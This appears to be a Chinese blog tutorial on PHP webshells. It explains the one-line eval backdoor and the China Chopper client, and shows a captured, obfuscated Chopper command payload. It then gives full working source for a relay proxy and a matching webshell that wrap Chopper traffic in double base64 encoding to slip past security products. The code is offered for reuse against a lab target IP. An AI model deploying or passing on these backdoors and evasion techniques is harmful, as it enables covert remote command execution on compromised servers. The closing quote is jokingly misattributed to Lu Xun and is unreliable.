->_<-
0x00 前言
前一阵子心情不太好,本来已经不打算写东西了,但想到自己在学习的时候摸爬滚打,吃尽了苦头,现在虽小有成就,但仍有很多同行道友在这条道路上不断摸索,思索再三,还是打算继续写下去,算是为迷茫中的人点亮一盏微弱的灯……So,这篇文章写详细一些,就当找个愿意听的人说话了
老规矩,以PHP为例做讲解
0x01 原理
这里先给大家介绍一句话木马和菜刀的工作原理,了解的可以往下面翻
一句话木马
先说说一句话木马的原理
<?php eval($_POST['c']);?>
先说说eval()这个函数
简单点说,eval()这个函数会把参数当作代码来执行
什么叫做把参数当作代码来执行,简单举个例子
<?php phpinfo();?>
phpinfo()函数都明白吧,不明白也没关系,它执行结果是这样的
<?php eval('phpinfo();');?>
当把phpinfo()函数作为字符串传递给eval()函数时,效果就相当于刚才的代码
关于eval()函数就介绍到此,如果还有不明白的自己翻翻资料,或者私信我
下面再说我们刚才写的那个一句话木马,现在理解起来就容易多了,它会把POST传递过来的参数c的内容作为PHP代码执行,具体执行的内容由POST参数决定,比如执行系统命令
POST
c=system('whoami');
这样只需要不断改变POST过来的数据,就可以实现任意功能
这就是一句话木马的原理
菜刀
理解了一句话木马的原理后,菜刀的原理就更简单了
菜刀其实就是根据一句话木马的原理,将常用的一些操作的代码封装好,再结合图像界面(GUI),实现当你双击文件夹时便可列出目录
为了方便理解这里用wireshark抓个数据包
POST
c=$xx%3Dchr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101);$yy=$_POST;@eval/**/.($xx/**/.($yy[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1iYXNlNjRfZGVjb2RlKGdldF9tYWdpY19xdW90ZXNfZ3BjKCk%2Fc3RyaXBzbGFzaGVzKCRfUE9TVFsiejEiXSk6JF9QT1NUWyJ6MSJdKTskRj1Ab3BlbmRpcigkRCk7aWYoJEY9PU5VTEwpe2VjaG8oIkVSUk9SOi8vIFBhdGggTm90IEZvdW5kIE9yIE5vIFBlcm1pc3Npb24hIik7fWVsc2V7JE09TlVMTDskTD1OVUxMO3doaWxlKCROPUByZWFkZGlyKCRGKSl7JFA9JEQuIi8iLiROOyRUPUBkYXRlKCJZLW0tZCBIOmk6cyIsQGZpbGVtdGltZSgkUCkpO0AkRT1zdWJzdHIoYmFzZV9jb252ZXJ0KEBmaWxlcGVybXMoJFApLDEwLDgpLC00KTskUj0iXHQiLiRULiJcdCIuQGZpbGVzaXplKCRQKS4iXHQiLiRFLiIKIjtpZihAaXNfZGlyKCRQKSkkTS49JE4uIi8iLiRSO2Vsc2UgJEwuPSROLiRSO31lY2hvICRNLiRMO0BjbG9zZWRpcigkRik7fTtlY2hvKCJ8PC0iKTtkaWUoKTs%3D&z1=QzpcXFdJTkRPV1NcXA%3D%3D
感兴趣的可以将发送的数据代码自己分析分析,这里就不具体讲了
0x02 中转webshell
先扯点历史
接着刚才菜刀原理说,既然已知了菜刀是将封装好的参数根据用户操作发送给webshell,那么站在防护的角度来讲,我可以将主流的菜刀参数都设为黑名单,发现就拦截,甚至我可以对你发送的数据内容进行简单的自动审计,发现敏感的代码直接拦截掉
这个就是早期的一些防护软件的拦截手段
于是,就有了一帮逆向大牛对菜刀进行逆向,将封装好的参数进行混淆,或者对防护软件进行fuzz,然后找到不拦截的参数去替换,这样就能实现一个“过狗”的效果
但是更有一群人浑水摸鱼,在外发放了很多捆有后门的菜刀坐收渔翁之利,而且随着防护软件越来越完善,找到一些能够替换的函数代价太大,于是就有了中转webshell(主要还是因为不会逆向……因为懒……)
中转webshell的逻辑很简单,菜刀不直接向shell发送数据,而是发送到中转的一个页面上,这个页面对接收的参数全部进行加密(甚至可以用2048位的RSA,只要你愿意),然后再发送给shell,shell接收后先用同样的算法进行解密,然后对执行的结果进行加密,返回给中转shell,中转shell再去解密,然后返回给菜刀客户端
这样就能实现自定义加密算法对菜刀的数据进行加密来绕过一些防护设备,话不多说,上图
理解了原理就可以开始造轮子了
0x03 造轮子
中转shell
<?php
set_time_limit(0);
$url = 'http://192.168.157.142:81/shell.php'; //真实shell地址
$opt_data = http_build_query($_POST);
$content = postdata($url,encode($opt_data));
$content = decode($content);
echo $content;
function encode($data){
return base64_encode(base64_encode($data));
}
function decode($data){
return base64_decode(base64_decode($data));
}
function postdata($url,$data){
$curl = curl_init(); //初始化
curl_setopt($curl,CURLOPT_URL,$url); //设置url
curl_setopt($curl,CURLOPT_HTTPAUTH,CURLAUTH_BASIC); //设置http验证方法
curl_setopt($curl,CURLOPT_HEADER,0); //设置头信息
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1); //设置curl_exec获取的信息的返回方式
curl_setopt($curl,CURLOPT_POST,1); //设置发送方式为post请求
curl_setopt($curl,CURLOPT_POSTFIELDS,$data); //设置post的数据
$result = curl_exec($curl);
if($result === false){
echo 'Request False!';
echo curl_errno($curl);
exit();
}
curl_close($curl);
return $result;
}
?>
webshell
<?php
function callback($buffer){
return (encode($buffer));
}
ob_start("callback");
parse_str(decode(file_get_contents('php://input')),$_POST);
eval($_POST['c']);
function encode($data){ //加密算法
return base64_encode(base64_encode($data));
}
function decode($data){ //解密算法
return base64_decode(base64_decode($data));
}
ob_end_flush();
?>
效果如下:
1.菜刀连接中转shell
2.中转shell修改真实shell的url
3.通过菜刀执行系统命令查看ip
可以看到我们打开的是192.168.157.128的会话,但实际操作的确是我们的目标靶机192.168.157.142
至此结束
0xFF 尾言
身边每个人都要去珍惜,不要等到失去才后悔莫急
——鲁迅